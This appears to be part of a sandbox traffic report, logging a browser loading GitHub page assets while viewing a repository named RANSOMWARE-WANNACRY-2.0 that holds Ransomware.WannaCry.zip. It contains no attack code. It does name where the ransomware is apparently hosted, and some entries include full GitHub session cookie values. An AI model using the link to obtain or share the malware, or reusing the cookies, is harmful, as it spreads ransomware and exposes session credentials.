Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_lit-html_lit-html_js-5b376145beff.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-5bff297a06de.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-c91f4ad18b62.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/security/overall-count HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/fragment+htmlX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_scroll-anchoring_dist_scro-52dc4b-4fecca2d00e4.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_color-convert_index_js-72c9fbde5ad4.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index_js-95b84ee6bc34.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-cbac5f-c7885f4526c5.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_updatable-content_ts-ee3fc84d7fb0.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_onfocus_ts-app_ass-421cec-9de4213015af.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/security/overall-count HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_sticky-scroll-into-view_ts-94209c43e6af.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-467754-244ee9d9ed77.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-9285faa0e011.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/behaviors-4e25e265ef84.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d0256ebff5cd.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/notifications-global-352d84c6cc82.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/code-menu-614feb194539.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/react-lib-1fbfc5be2c18.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_octicons-react_dist_index_esm_js-node_modules_primer_react_lib-es-2e8e7c-a58d7c11e858.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-8f8c5e2a2cbf.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-d5726d25c548.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js-1501d3ef83c2.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Overlay_Overlay_js-node_modules_primer_react_lib-es-fa1130-829932cf63db.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Text_Text_js-node_modules_primer_react_lib-esm_Text-7845da-c300384a527b.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_FormControl_FormControl_js-f17f2abffb7f.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_ActionMenu_ActionMenu_js-eaf74522e470.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_hydro-analytics-client_-978abc0-add939c751ce.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_react-router-dom_dist_index_js-3b41341d50fe.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayout_js-5a4a31c01bca.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_ConfirmationDialog_ConfirmationDialog_js-8ab472e2f924.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Dialog_js-node_modules_primer_react_lib-esm_TabNav_-8321f5-2969c7508f3a.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_js-4d087b8e0c8a.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-node_modules_primer_react_lib-esm_-4e97c6-949a0431d8c0.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-809ab9-4a2cf4ad7f60.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
